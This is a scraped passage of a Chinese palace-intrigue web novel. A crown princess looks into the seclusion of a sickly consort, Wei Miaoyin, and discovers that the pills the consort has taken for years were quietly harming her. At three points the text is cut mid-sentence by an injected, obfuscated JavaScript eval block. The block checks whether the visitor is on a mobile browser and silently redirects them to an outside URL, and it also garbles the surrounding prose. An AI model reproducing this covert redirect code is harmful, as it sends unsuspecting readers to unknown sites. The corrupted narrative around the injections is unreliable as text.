杨氏与卫兆兴成婚时,卫良媛已五岁有余,但却被卫兆兴视如己出,从不因其非自身血脉而忽视轻慢,吃穿用度均一视同仁。卫兆兴怜她一出生便没了父亲,又在娘胎里遭了罪,遂让她跟着自己往各州上任,看遍四海湖光。 也是因着这番经历,卫良媛入府后颇得燕景祁喜爱,甚至能出入书房与前者谈古论今、共话山水。哪怕后来得了哮症,燕景祁也仍是常去探望。 “……这么说来,太子也并非一开始就对卫良媛冷淡的,”元嘉思忖须臾,仍是觉得诸多乱麻,“可,素娥为何特意提起卫良媛的出身?” “卫良媛的母亲,替她觅了个好父亲,可也是她,将卫良媛推到了如今的境地。” 倪娉柔惋叹一声。 卫良媛迁居到畅和馆静养后,不止得燕景祁的额外看顾,薛神妃亦然,且比前者还要上心。又因卫良媛身体迟迟不见好转,更将其母接进了太子府,方便照顾。 平日里,因燕景祁政务繁忙,与薛神妃前往畅和馆的时间大多是错开的。唯有一次,两人一起去探望卫良媛,可偏偏就是那一次,出了岔子。 45. 病缚身 “我们也不知道那日究竟发生了什么……” 倪娉柔低头扯着手里的丝线,“只听说是卫良媛和杨夫人闲话时,言语间似对薛娘娘不敬,还、还牵涉到了太子身上……薛娘娘虽不在意,可太子却从此对卫良媛冷淡下来了。” 薛娘娘…… 又是薛神妃? 若说元嘉此前还在疑心卫良媛先住飘絮台,再迁畅和馆一事或许与薛神妃有关,如今听完刘婵的话,她竟有一瞬间觉得卫良媛与其母的这场言谈也有薛神妃的影子在里头了…… 再观二人神色──刘婵倒是一脸平静,只眼中略带憾意,想是在为卫良媛可惜。倪娉柔却显得有些心不在焉,一双手无意识地来回缠着丝线。可不管是哪一个人,都不奇怪薛神妃为何会在那日与燕景祁一起出现在畅和馆……怕是在这件事上,都认为是卫良媛自己言语失当,难关旁人罢。 “可是这种事情,怎么还敢有流言传出……素娥,你、不是比卫良媛更晚入府吗,为何也能知道的这么清楚?” 元嘉收回纷乱的思绪,又问起其中的怪异之处来。 怪不得元嘉会这么问,刘婵自己就是徐家倒台后才进的太子府,是燕景祁一众身边人中最晚的那一个,与卫良媛一头一尾……却怎么比倪娉柔还要了解这桩旧事? 刘婵眉心微蹙,“说来惭愧,当年之事发生后,所有伺候卫良媛的宫女都被太子撤走了,还是薛娘娘不忍心,从自己院子里拨了四个人,这才免了卫良媛无人可用的窘境。” “那些贴身伺候的,早被发还回了尚仪局,但仍有一些负责外院扫洗的,重新教了规矩后又被分到了其他院子。” 倪娉柔也接口道:“我和刘姊姊住的地方,便都有从畅和馆出来的。这也是为什么我们知道此事,却又知道得不够详尽的缘故。” “……这么说,那徐奉仪、吴奉仪的院子里,是不是也分有伺候过卫良媛的人?” 元嘉又问道。 刘婵拧着眉想了又想,末了还是不确定道:“这我倒不清楚了,但是当年卫良媛染病,畅和馆里逾制添了不少伺候的人,后来虽一并撤走,但总归是要有去处的……想来若我二人院子里有,那她二人也应当是有的。” 元嘉若有所思般点了头,“我却还有一问,若是要把人都撤走,为何不全部发还给宫里,何必再留下一部分呢?” “……这也是薛娘娘的意思,说若是突然间将所有宫女都送回去,怕会被人猜测府里出了什么事,再累了卫良媛的名声就不好了。” “可毕竟是太子发了话,所以最后还是将贴身服侍的几个宫女送了回去,余下的才按照薛娘娘的意思各自分拨到其他院子。” 刘婵犹豫了下,好似在奇怪元嘉为何会问到薛神妃的身上,可最后还是将自己知道的和盘托出。 元嘉亦察觉到刘婵话里的停顿,可眼下如何好说出自己无端的猜测,只好佯装不知,又顺着之前的话继续道:“你们说那事之后,府里再没人敢养带毛的玩意儿,想来也有卫良媛哮症的原因在里头吧。可太子既已对卫良媛冷淡,又缘何会有这道吩咐?” “……是薛娘娘的意思,不许带毛的东西再出现在畅和馆附近。”倪娉柔苦笑一声,“至于太子,则是因为膳房某次跑丢了只兔子,后来在飘絮台的草丛里被找到时,太子正好在场,当即便冷了脸色。我们便猜测,薛娘娘的这道令,或许也有太子的意思在里头。” 正好,又是正好…… 元嘉抚摸着手边的绣绷子,似乎在思考着什么,须臾眉头舒展,“我打算这两日去一趟畅和馆……于情于理,我都没有不去见她的理由。” “可太子摆明了不想咱们与卫良媛有多少接触,你若去了,事后再迁怒到你的身上,该怎么办!” 倪娉柔却不赞同。 可元嘉已然打定了主意,“从前不知道也就罢了,如今既已知道,还该去上一去。若我继续视若无睹,礼法上便第一个过不去。外面人知道了,也只会说我的不是,哪里会提太子一句不好?” 一番话说的倪娉柔哑口无言。她何尝不知道元嘉顾虑,可谁也不清楚卫良媛当年说了什么话,才会让太子冷淡至今,明明人还活着,却无一人敢提,这样又叫她们怎么敢和人有牵扯呢。 “再说了,你们与卫良媛同在太子府多年,彼此间不也是无事的吗?” 元嘉本意是安抚倪、刘二人,可谁知这话出口,两人的神色更古怪了。 “元、元娘,”倪娉柔说的结巴,“我入府到现在,拢共只见过卫良媛两次。一次是我入府时,另一次,便是刘姊姊入府的时候了……” “娉柔见的第二次,便是我见的第一次,也是唯一一次。” 刘婵亦是苦笑。 “怎会?” 元嘉杏眼微睁,语气更是惊诧。 “卫良媛染了哮症,虽说府里已尽量不出现带毛的物件了,可哪里能真的避开呢……且好似卫良媛之后还害过两次病,所以薛娘娘发了话,只让卫良媛安心休养,再不准旁人打扰。” 刘婵垂下眼睑,手也无意识地在布料上摩挲,似是犹豫,似是思考,最终还是道:“我二人能见上一面,还是因为品阶在卫良媛之上……吴奉仪当年便只在畅和馆外拜了一拜。” 元嘉始终默不作声地听着,后背却有些发凉──不管这其中是否有薛神妃的参与,卫良媛被困在畅和馆却是不争的事实。少时便能跟随父亲游览各地胜景的女子,如今却以体弱被圈在这小小的四方天地中,实在是可惜…… “……卫良媛要静养,便连宫里的年节都不去了吗?” 不自觉捏紧了手边的绣绷子,元嘉强自定了定神,又问道。 刘婵摇头,“这样的场合,本也只需要太子妃出现在人前,我们几个在或不在,倒不被人在意。便是有人问起,也是说卫良媛病着,见不得人,旁人听了也不会再追问什么。” “元娘,还是不要去了。”倪娉柔又劝道,“说句不好听的,这府里,太子就是咱们顶上的那片天。他如今不喜卫良媛,我们便也不能亲近。你若去了,再叫他以为你是在违逆他的命令,那可怎么是好?” 元嘉轻轻拍了下倪娉柔手背,示意无碍,“放心,我心中有数。” 前者还欲再劝,玉兰却在这时候回来了,“女君,良娣,人已经问到了。” “是谁?” 玉兰面露迟疑之色,“是、是卫良媛身边的叶兰……” 这一回答无疑在众人意料之外,三人相互对视几眼,都看到了对方眼里的怔愣。 “……卫良媛有哮症,竟还敢把猫养在身边?” 刘婵喃喃道。 元嘉望向玉兰,“是叶兰亲自来领的?” “是。” 玉兰点头,“叶兰特意避开了人过来的,临走前还央我保密,别叫旁人知道是卫良媛在养猫。” 元嘉目光低垂,手指不时敲击着桌面,须臾笑出声来,又惹得倪娉柔两个投以惊讶的注视。 前者笑意未散,只抬起手腕略微遮掩了一下,“我就是突然觉得,这卫良媛的身体或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031318|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许已经大好了。” “……好了又有什么用,太子不觉得她大安,她便只能病着。” 刘婵眉峰不展,话语中难得带了三分情绪。 “我明日去一趟畅和馆。” 元嘉做下决定。 “你怎么还是要去呀──” 倪娉柔立刻坐直了身子,一双眸子瞪着元嘉,满脸的不赞同。刘婵连忙拉住前者的手腕,又轻轻摇了摇头。 如此一打岔,倪娉柔有些慌乱的心才恢复了少许的平稳,也才反应过来自己的情绪似乎过分激烈了些。 今日之前,她以为太子的诸般态度皆因卫良媛自己的过错,所以被元嘉问起时,也只抱着给人解惑的心思一一作答。可在前者一层又一层的追问下,她才突然觉得,薛神妃在其中出现的次数似乎太多了。 说到底,她还是因为自己和徐丽华孩子的事情畏惧薛神妃,哪怕这只是她某日突如其来的无端乱想……可这样的心思又如何好说出口? “……我、我就是担心。” 倪娉柔别过脸,声若蚊蚋。 元嘉轻轻摇头,“我如何不知道你的忧虑……放心吧,太子这段日子早出晚归的,也不常往后院来。我明日去,他也未必就能立刻知道。就算被他知道了也不打紧,我自是有对策的。” 这并不是为了宽慰倪娉柔而说的假话,她只是突然间想起了燕景祁一直在她面前所强调的两个字──合适。 之前几次,不管是对小喜儿还是薛神妃的旧仆,亦或是才过去的三公主筵席,只要她所做之事不越过太子妃这重身份,燕景祁往往是乐见其成,甚至是推波助澜的。 至于更早之前,早到自己入府的那日,燕景祁本可以不提起卫良媛,权当府里没这个人。可他还是说了,且也不是以十足冷淡的姿态……那她是不是可以猜测,燕景祁其实并没有众人口中说的那般不喜欢卫良媛,如今的局面仅仅只是因为她“不合适”了。 这样的男人,真的会对枕边人的面目一无所知吗?还是说她此前的猜测都是错的,薛神妃实则是真贤淑,一切的一切都是她度君子之腹了? 元嘉突然有些不确定起来,可眼下显然不是思考这些事情的时候,等明日去畅和馆见过卫良媛,才好继续做下一步的打算。 倪娉柔见元嘉态度坚决,亦弃了劝人的念头,视线从前者的脸上转移到被自己攥了许久的绣帕表面──上面染了血渍,又被她团在一起扯了许久,早不能再用了。 倪娉柔缓缓松手,又不厌其烦地抚着绣帕,试图将面上的褶皱抚平,口中嘟囔着:“这下好了,又得我重新绣了,我可不回去找料子,明日还来寻你,等你另给我匹好的。” 元嘉眼睫微颤,自然也听出了前者的言下之意,故意玩笑一句,“这是给阿沅绣的,还得她出料子。你且在梨云院等着,我挑匹好的,明日晚膳前给你送过去。待绣好了,咱们找她讨债去。” 倪娉柔嗯了一声,虽还带着欲言又止,眉间的愁色却散了不少。刘婵干脆转了话头,又问起元嘉关于刺绣的事情来,二人你一言我一句的,待瞧着天色将晚,这才拉着倪娉柔双双告辞而去。 元嘉没有起身,就坐在树下目送二人离去。 倪娉柔今日似乎过分在意她要去畅和馆的事情了……虽然说的是害怕她会惹了燕景祁不快,可看起来更像是在忌惮些什么。 是因为太子?还是薛神妃? 元嘉缓缓收回目光,暂且将这份怪异压在心底。 一切都得等她明日见了那位卫良媛再说。 46. 卫妙音 这一夜,燕景祁没有回来。 直到第二日元嘉起身,兰华才过来告禀,说是昨日前朝有要紧事处理,燕景祁直接宿在少阳宫了。 这事本不必特意告知,但既然遣人来了,元嘉少不得要客套几句。问过娄皇后凤体,又请兰华带话让燕景祁保重身体,如此又是数句,方才将人好生送出去。 她今日打定主意要往畅和馆去,虽被兰华耽搁了一些时间,但胜在已收拾妥当……只是,还得在人前寻个正经由头才行。 “红珠,这些日子,卫良媛身体可大安了?” 红珠猝不及防被问,愣了一下才答道:“听说还是老样子,每日遵照医嘱服药,平日也不出院门,只在屋里养着。” 看来,畅和馆里有猫的事,被卫良媛瞒得极好。 “既如此,”元嘉继续道,“咱们也去看看卫良媛。她一直病着,本宫也一直被许多琐事绊着,竟到现在都没见上一面,实在不该。” 昨日与倪、刘二人议论之时,除了去而复返的玉兰,她们再没有留其他伺候的人,红珠自然不知道这是一早便有的决定,还以为是元嘉临时起意。虽觉有些突然,可想到燕景祁也从未不允人探视,便也答应一声出去唤人了。 元嘉又把敛秋喊了过来,让她往库房寻些补身的药材,到时一并送去畅和馆。红玉回来时,正听见元嘉挨个吩咐人的声音,当即又喊了个仆妇过来,让她先行一步前去知会,提前在畅和馆候着。 如此又是几刻钟的工夫,元嘉才带着人从长春馆出发。不想行至半路,竟遇天公不作美,淅淅沥沥地落起雨点来了。 “女君,这雨瞧着,一时半会的也停不下来……不若先回去,另寻个日丽风清的时候再来探望良媛?” 红玉站在檐下,伸出手感受了会儿雨点下坠的力道,回身提议道。 要往畅和馆去,最快的一条路便是穿荷花池。适才落雨时,元嘉一行正在荷花池附近,于是便暂入了凉亭躲避。 哪怕元嘉并无此意……从前她还在比这更大的雨里策过马,一身湿漉漉地回去,也没见生了病,又何况眼前这场到现在都没打湿地面的牛毛细雨。 可在太子府里伺候的人显然不这样想。红玉一发现落雨,便习以为常地将元嘉劝进了凉亭,红珠甚至在半道上折回长春馆取伞,倒叫元嘉把想要说的话给咽了回去。 不一样了。 元嘉在心底默默念着,最终还是顺着红玉的动作往石凳上坐着。 “雨势也不大,等红珠把伞拿来就继续走。已让人去知会了卫良媛,总不能为了方便咱们,让她再被折腾一回。” 元嘉摇头拒绝。 红玉如何不知道这一点,只是她侍奉的人是太子妃,是元嘉,自然要事事以前者为先。至于那位久病难出的卫良媛,便不必她去上心了。 只是这样,免不得又在路上耽搁了些工夫,等元嘉到时,畅和馆外早站了好几个等候的人。 元嘉抬眼望去,几条细长的人影在绵密雨丝中若隐若现。随着元嘉慢慢走近,那些人影的相貌身形也一点点清晰起来。其中一人站在最前,衣着打扮亦是不同,想来就是良媛卫氏了。 这位卫良媛穿得素净,一条退红色绫裙,身上搭了件藕色芙蓉纹披风,将通身裹得严严实实。发饰更是简单,不过带了二三银簪,腰间缠了个圆形玉佩压住裙角,瞧着颇为单调,但却在手腕间绕了几圈玉做的珠子,瞧着倒像是比丘尼念经时用的佛珠。 不知是生病的缘故,还是出来的匆忙,一张脸未施粉黛,白的吓人,连唇上都无半分艳色。 元嘉瞧着,倒生出几分后悔──她探视一事确有私心,可从没想过要让人病上加病。如今见卫良媛此种模样,她却先踌躇起来了。 前者哪里知道元嘉此刻所想,只瞧着人到了,微微抿了个笑,便立刻低眉垂首,屈膝行礼,口中道:“妾身良媛卫氏妙音,敬问太子妃康安。” 妙音? 倒像是佛家的名讳。 元嘉脑子里突然冒出这句话,又连忙扶住想要伏身的卫妙音,“你身体有恙,累你出来等此一遭,已是本宫的不是。如今雨还下着,地上也湿漉漉的泥泞一片,还是不要讲究这些虚礼了,好生进屋歇着才是。良媛身体康健,远比向本宫请安重要。” 若能将身体养得再好些,来日就算难出太子府,至少也能离了畅和馆,或许还能够去荷花池看一看。 元嘉这样想着,手里的力道更大了些。卫妙音自然也感受到了──不是上位者象征性的客套,便也顺从起身,又是一笑,“妾身自来体弱,小病小痛总不间断。女君进府时,妾身的身子也不见好,幸得殿下施恩,让妾身养好了病再来见您。可谁知,这段时日天气变化无常的,妾身这病不仅没好,竟又反复起来……倒叫您先来妾身这里了,真是失礼!” 说罢,竟又想下跪请罪。 这次不必元嘉伸手,红玉已然上前把人扶住,口中还道:“良媛身子弱,可别站在外面吹风了,不若和女君一道先进屋去?” 元嘉又看了红玉一眼,前者便会意地搀起卫妙音的手腕,作势要把人往屋里带。 可卫妙音哪敢越过元嘉走在前头,微微侧过身子,避开红玉后又道:“是了,这外头还刮着风呢,怎能让您一直在外头站着。是妾身的不是,还请女君随妾身一同进屋。” 这是借着红玉的话,反过来请元嘉先进门了。 这样推来推去的也不是办法,元嘉便也应了卫妙音的话,快走两步与前者并肩而行,脑子里却思考起前者刚才说的话来──竟是将自己长居畅和馆不得出的事情全归于燕景祁的好意吗? 这是卫妙音真心实意的想法,还是为了搪塞她这个太子妃的敷衍假言? “……太子原是心疼你,想着要你静养,也不叫本宫多打扰的。如今倒算是本宫不请自来,还要请良媛勿怪才是。” 收起思绪,元嘉也干脆顺着卫妙音的说辞继续──毕竟她是来探人的,而燕景祁也确实说过前者体弱。她此刻开口,自然也只提这一句。 卫妙音神色却十分平静,丝毫没有为‘太子’两个字生出任何波动,只淡淡道:“女君折煞我了,这畅和馆许久未有客人到访,您能来瞧我一眼,是这院子的福气,也是、妾的福气。” 元嘉眉头微蹙,“平日里,都无人来与良媛说说话吗?” “妾一年中有大半时间都病着,医女又叮嘱妾静养,自然就没什么人了。” 卫妙音直视着前方,浅浅勾了勾嘴角。不知是否是元嘉的错觉,总感觉那道目光格外冷淡,人也透着疏离。 “虽说要静养,可也不是叫人一张口都不说话的,且良媛这院子已经够静的了,再不添些人气,可不就冷清了?” 元嘉看着卫妙音不见一丝血色的侧脸,摇着头不赞同道。 说话间,二人已进了屋,卫妙音正要把元嘉往主座上引,却只觉眼前忽的一花,整个人踉跄着便要往地上摔去。 好在元嘉眼疾手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038186|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快将人扶住,下意识呼道:去,去把章太医叫来!” 太医章有为,是宫里专司在元嘉身边奉差的医官,如今亦住在太子府。 盼春反应最快,一听见元嘉的话便三步并作两步地跑了出去──畅和馆的人手不足,唯一能用的两个仆妇又不知章有为住处,便只好她自己去了。 红玉张望了两眼,见距离卫妙音不远处还站了个穿浅色襦裙的宫女,却不知为何迟迟不见动作,无法只好自己上前替过元嘉,搀着前者半倚在榻上,这才又退回元嘉身边服侍。 那宫女落后两步才上前,瞧着倒十分的镇定,也不急着查看自家主子的情况,反而往一旁的暗格里摸出个瓷口小瓶,倒出几粒丸药便要喂卫妙音服下。 元嘉站在几步开外,将眼前人堪称熟练的动作收入眼底,余光又瞥了眼卫妙音的脸色,想了想,开口阻止道:“卫良媛这是突发病恙,还是等太医过来号了脉,再依方子用药吧。” 闻言,那宫女动作一僵,而后伏倒在地,像是在被人追赶般急急道:“启禀女君,良媛她这是旧疾,是前些年患哮症时落下的根。这药,是从前随府伺候的赵太医开下的,说是良媛身子弱,受不住烈性药来根治,便只开了几粒丸药略作调理。良媛平日若有不适,都是吃这些丸药的。还请您让奴婢先给良媛服下,也好叫良媛舒缓舒缓!” 元嘉一开始倒还好生听着,却不想这宫女开始搬弄起是非来,当即冷笑一声,“本宫刚才只说,等太医来了好生看诊,再对症下药,怎么到你嘴里,竟似本宫要阻着拦着不许你给良媛喂药……怎么,本宫还会害了良媛的命不成!” 元嘉一抚袖坐在了卫妙音不远处的圈椅之上,声音愈发冷冽,“这罪名好大,本宫可担不起。” 那宫女脸色一白,握着瓷瓶的手也抖了一下,而后瓷瓶跌落在地,骨碌碌地滚了几圈,药丸也散在四处,却也不去捡,只以头磕地,口中连呼不敢,声音更是一声高过一声。 元嘉却听得皱起了眉──只呼‘不敢’,而非‘知错’,瞧着是因她的问罪而生惧,但又是磕头又是高喊的,说是往她身上落个“恶主”的名声也可……又或是她近来太过草木皆兵了? 红玉也下意识觉得不妥,当即便伸出手抵了上去,手腕暗暗使力,强行将那宫女撑了起来,“卫良媛身边何时多了妹妹这么位贴心人,倒不见一直跟在身边的大宫女叶兰?” “奴婢、奴婢绿烟,良媛迁居畅和馆后,便一直服侍在良媛身边了……” 那人,不,该说是绿烟了,僵着身子答话,却说得磕磕巴巴,也不知是在担心什么。 绿烟二字一出,这名宫女的旧主是谁便再明显不过了。 不止元嘉正了神色,连撑着人的红玉也重新打量了好一番,才终于从一堆过往中翻出些许印象,“哎呀,竟是绿烟妹妹!瞧我这记性,从前还与妹妹说过话呢,今日竟……实在是我的过错,该打该打。” 说着,又刻意朝元嘉道:“女君,这位绿烟妹妹从前是服侍在先太子妃身边的,最是贴心不过。想来今日也是爱主心切,才会失了章法。” 又见元嘉极轻地一颔首,心中更是大定,继续道:“要奴婢说,绿烟妹妹不止不该罚,反还要厚赏呢!” 绿烟被红玉扶着,一时不敢乱动,听到这话也只能僵着身子推辞,“哪里敢得女君厚赏,奴婢、奴婢不过略尽本分罢了。” 被这样一通话架住,绿烟自然也不敢再继续磕头,只好跪坐在地上默不作声。 47. 劣丸药 那厢,卫妙音也缓了过来,之前虽胸闷眩晕,屋内发生的事情却也听了个七七八八,如今稍微好转,立刻便要起身求情。 元嘉抬手止住,“良媛病疾骤发,还是先不要起来为好,仔细身上又难受。” 说着又往绿烟的方向睨了一眼,“这丫头很好,知道紧着自家主子,且又是这两年悉心服侍你的人,该怎么做,本宫心里有数,你安心就是。” 至于这其中有几分真,便另当别论了。 卫妙音自然也不会全信,可还是心头一松。她不怕元嘉信口诓人,大庭广众之下说出的话,不管真心假意,总是要算数的。 如此又安静了一会儿,盼春才领着人从外面进来。章有为显然极知道仪礼规矩,一路行经宫女内眷,竟半分眼皮也不抬,始终微垂着脑袋,拜过元嘉后便静候吩咐。 元嘉这才收回手,又朝来人道:“卫良媛适才突感不适,本宫实在担心,这才请章太医过来诊治一二。” 章有为闻言,又是一拱手,这才往卫妙音榻边走去。抬手搭了搭脉,又细细询问了几句,方重新转身答话── “回禀女君,良媛的身子无碍,只是有些不足之症,大抵是因为之前害过其他的病,又未得好生休养,这才体弱了些。”章有为捋了捋胡子,“不过也不是什么大毛病,平日里多饮些补药,闲暇时再到处走走,调理个一年半载的,便也同常人无异了。” 卫妙音撑坐起身,满脸惊诧,“……什么?” 元嘉听着,视线从跪在地上的绿烟头顶掠过,心中忽而一动,“既如此,还请章太医再替本宫瞧瞧,良媛平日里吃的丸药可还好?若是可用,便劳你带回去比着多配些备着。” 章有为低头称是,“这倒不难,只是还需请女君将那药给下官瞧瞧。” 元嘉看了眼红玉,前者便从地上捡起瓷瓶,凑近耳边轻晃了几下,待听见瓶壁有异物撞击的声音后,才将其递到章有为手边。 章有为接过瓷瓶,先放至鼻下闻了闻气味,而后倒出几粒在手上,细细打量了一番,没有说话,眉心却一点点拧了起来。想了想,两指夹住一用力,又将这几粒丸药碾碎。如此翻来覆去好一会儿,才终于停下动作。 卫妙音靠在软枕上,因听了章有为的话而显出细微异色的脸此刻更多出几分惊疑不定,一张嘴开了又合,终是忍不住道:“这药,我已吃了几年……可是有什么不好的地方?” 章有为摇头,“药是好药,开的方子也是用了心的。只是这里头的药材都是些大补之物,体格健壮者服了,自是无有不好,可若是身子弱些的人服了,只怕要虚不受补,反而坏了内里。” 元嘉眉心微动,指腹不自觉摩挲着袖口的滚边,顿了顿方道:“这药是卫良媛吃惯了的,平日不好时,都是靠它来舒缓的。章太医,你再仔细瞧瞧,别是看错了。” 章有为随元嘉常居太子府以前,亦有为后宫女眷奉差的经历,一听此言便猜出几分,旋即道:“想是当初开药的太医思虑更多,卫良媛毕竟有不足之症缠身,须得以好药调理……但之后这么些年,也差不多养回来了。这药嘛,自然也得变上一变。无妨,待臣去换几味药材,再添进去新做丸药即可。” 元嘉瞧他表情,便知这人也是个心里有数的。只怕是从她的话里察觉出了什么,但也不想无端被牵扯进去,这才含蓄了许多,又提出补救之法,想将这件事从他的手里抹过。 “原是如此,那这段日子,便请章太医多往畅和馆照看一二了。” 章有为只是个大夫,追问起来也不会有什么结果,更何况还有个卫妙音在场,元嘉便也弃了刨根问底的心思,只顺着前者的话多说了两句。 章有为忙拱手称不敢,红玉又将其引至侧间撰写药方。卫妙音看着章有为离开,哪怕前者的身影已全然消失在屏风之后,也迟迟不肯收回视线。整个人更是倦怠了不少,可眼神中却不见一丝惊惧,只有仿若一切都尘埃落定了的冷寂。 元嘉垂下眼睑,卫妙音既不问,她便也不必特意点出来。药已经换了,便是从前真有不妥,今后也都好了。且她观卫妙音的神色,只怕前者这两年亦对自己遭遇起了疑,所以今日初见时便是平静,如今也只多出几分冷然。 元嘉正想着是否要再宽慰两句,余光陡然见屋外似有人影徘徊,当即扬声道:“谁在外头,进来!” 众人立刻看向门外,只见一手提空篮的青衣宫女慢慢走了进来,待看清元嘉的身影后,立刻近前请安── “见过女君!” 元嘉看了眼那宫女手里的篮子,心中突然涌出一个猜测,当即问道:“你唤作──” “女君,她是叶兰,素日里都是她在妾的身边服侍。” 卫妙音倒先开口了。 果然是昨日带猫离开的那个宫女。 元嘉看了眼红珠,前者便会意地将人扶起,半责怪半探问道:“妹妹头先哪里去了?良媛突犯旧疾,若非女君正好过来探望,又命了太医来看诊,也不知会出什么事呢!” 叶兰一听,果然露出几分焦急,“什么——奴婢多谢女君!都怪奴婢,不该趁今日休假出府置物的,这才害得良媛身边离了人。幸有女君看顾,奴婢、奴婢实在是……” “叶兰!” 卫妙音兀的出声打断,“不过些许小事,如何好在女君面前喋喋不休。我的身体自来如此,又不是离了你便没有伺候的人了,在这里胡说些什么,没的叫女君看笑话……愣着做甚,还不快将手里的东西搁回屋里去,再来女君跟前回话!” “是奴婢失仪了,”叶兰反应过来,又朝元嘉深深一屈膝,“奴婢这就将东西放回屋子……还请女君允准。” 元嘉眸色微烁,怪不得卫妙音会突然对自己人说这样的重话,只怕还是担心她发现私养狸猫的事情……也不知那猫儿又被这对主仆养到哪里去了。 如此一想,元嘉便也点了头,又看着叶兰的身影迅速消失在门外,方朝卫妙音道:“这有什么不能说的,叶兰挂心主子,那是好事。这样的人在你身边伺候,本宫和太子都能安心些。” 卫妙音掩着嘴轻咳两声,低垂着眉眼,“妾身一切都好呢。” 元嘉又是几句温言,余光从一旁跪着的绿烟身上扫过,“错了错了,你身边还有个绿烟呢,如何能说是离了人?叶兰一时嘴快,本宫竟也险些被她带偏了去……委屈你了,快些起身吧。” 最后一句话,是冲着绿烟说的。 而重新回到屋内的叶兰,也因为元嘉的这番话面露几分局促,好在章有为这时候从侧间走了出来,倒无人发现前者的异样。 “这药先请卫良媛喝上三个月,之后臣会逐渐减轻药量,待养个一年半载,便也差不多了。” 章有为将写好的药方递给盼春,前者又将其奉至元嘉手边。 “如此,卫良媛便可痊愈了?” 元嘉也不看,只继续追问道。 “虽比不得常人体格健壮,但也不至于少气无力了。良媛是从娘胎里带出的弱症,要想同常人一般无异,调理的年长便得再多上几年了。” 章有为答道。 元嘉嗯了一声,又侧头向卫妙音询问道:“你院中的医女何在?” 卫妙音看了叶兰一眼,前者立刻会意,先朝元嘉一屈膝,旋即便往屋外走去。不多时,带回一名穿月白襦裙的女子。 那女子进屋后目不斜视,走到元嘉身前便躬身行礼,口中称道:“奴婢李氏,敬问太子妃殿下康安。” 既知丸药有异,元嘉自然对眼前这名医女留心几分,又少不得问上几句出身。 “奴婢原为司药司女史,有幸随刘司药习读药理,后入太子府为奉差医女。” 那医女神态自然,回起话来亦是不卑不亢。 “如此说来,良媛服用的汤药,也都是你负责的了?” 元嘉又问道。 “不敢欺瞒女君,奴婢是前两年才调往畅和馆服侍的。但因良媛早前身子虚弱,又有太医特意照顾,奴婢便也只是听吩咐熬药罢了。” 不知是常年与药材打交道的缘故还是旁的什么,自李氏进来,整个屋内便隐隐弥漫一股苦涩之味。 “既如此,你便随章太医走一趟,将你家良媛的药取回来吧。” 元嘉听她回话,便知一时半会儿是问不出什么了,干脆让章有为领着人离开,自己也再度看向卫妙音,起身意欲告辞。 “今日劳女君看顾,可妾这身子实在是不争气,再多的感激也只能在院子里替您祝祷。待来日大安了,定亲自向您赔罪道谢。” 卫妙音抢先一步开了口,倒似看穿了元嘉的想法,又帮着找了个离开的理由。元嘉顺势客套了两句,又叮嘱了几句保重身体的话,便也离开了。 “……你也去章太医那里瞧瞧,我的药配好了没有。若配好了,便帮着李医女一道把药取回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048984|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫妙音又是两声低咳,方才带着晦涩难懂的眼神看向绿烟。 “是,奴婢这就去。” 绿烟低垂着脑袋,应了话便往出门而去,期间始终不敢抬眼,自然也没看到卫妙音愈发绷紧的面庞。 屋内只剩下叶兰。 “他们说,这是我前世犯下的因,所以才会天生弱疾,又惹了口业,落到如斯田地。”卫妙音怔怔道,“病得久了,我便也觉得是自己的过错,余生待在这小院里洗清罪孽,求个来世善果也好……竟原来,是被人算计了。” 叶兰一听,疾行两步跪坐在卫妙音身侧,微微仰头道:“娘子这是信佛信魔怔了呀,佛家既说普渡世人,又怎能拿三世因果来定人善恶……娘子、娘子只是从前茹素,这才身子稍差了些罢了。” 卫妙音却只盯着头顶的横梁不发一言,末了没由来的掉了滴泪,“是吗?可若非我身负恶因,又为何会招人来害……我明明、明明从未与人结仇啊!” “为何啊……为何啊!” 卫妙音不断低低重复着,不多时又被自己的咳嗽声打断。 叶兰还来不及安慰,便习惯性搭上卫妙音的后背,上下不住地抚动着,直到前者咳声渐止,方才松了口气。 卫妙音却在这时候攥住了叶兰的手腕,一双眸子含着千愁万绪,似被魇住般直直盯着前者不放,想要开口,却最终什么也没说。 叶兰却看明白了,反握住卫妙音的手,只道:“娘子勿怕,咱们往后再小心着些,又或许、或许只是早前的药不相宜了,是咱们想得太多了……还有太子妃呢!” 话虽如此,可畅和馆就这么点人,她一时间竟也不知道还有谁可信。 “……小心些?” 卫妙音喃喃道。 叶兰使劲点头。 “好,咱们小心些、小心些……” 